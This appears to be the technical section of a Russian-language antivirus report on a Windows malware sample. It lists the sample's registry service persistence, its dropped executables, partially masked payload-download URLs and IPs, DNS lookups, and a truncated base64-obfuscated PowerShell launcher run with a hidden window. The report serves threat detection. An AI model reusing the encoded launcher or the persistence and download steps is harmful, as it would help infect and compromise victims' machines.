Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\puiobj] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\puiobj] 'ImagePath' = '"%WINDIR%\SysWOW64\ws2_32\puiobj.exe"'
- 'puiobj' "%WINDIR%\SysWOW64\ws2_32\puiobj.exe"
- 'puiobj' %WINDIR%\SysWOW64\ws2_32\puiobj.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABUADEAeAB5AHkAeQB4AD0AKAAoACcASwAnACsAJwBrAHkAbQAnACkAKwAoACcAXwA0ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBFAHIAUABSAE8ARgBpAEwAZQBcA...
- %HOMEPATH%\u6w7o_l\psjk3pn\dzdsyqxb.exe
- %WINDIR%\syswow64\ws2_32\puiobj.exe
- %HOMEPATH%\u6w7o_l\psjk3pn\dzdsyqxb.exe в %WINDIR%\syswow64\ws2_32\puiobj.exe
- '71.##.196.159':80
- http://da###air.com/font-awesome/rOOAL/
- http://ke#####rganscience.com/wp-content/SCsWM/
- http://71.##.196.159/mpVc/qzH6p1/7OmJMKq53iR78R3/VqQcT/eSfcK8Jj/
- DNS ASK sa###ago.org
- DNS ASK da###air.com
- DNS ASK te###batam.com
- DNS ASK ke#####rganscience.com
- '%HOMEPATH%\u6w7o_l\psjk3pn\dzdsyqxb.exe'
- '%WINDIR%\syswow64\ws2_32\puiobj.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -en JABUADEAeAB5AHkAeQB4AD0AKAAoACcASwAnACsAJwBrAHkAbQAnACkAKwAoACcAXwA0ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AVgA6AFUAUwBFAHIAUABSAE8ARgBpAEwAZQBcA...' (со скрытым окном)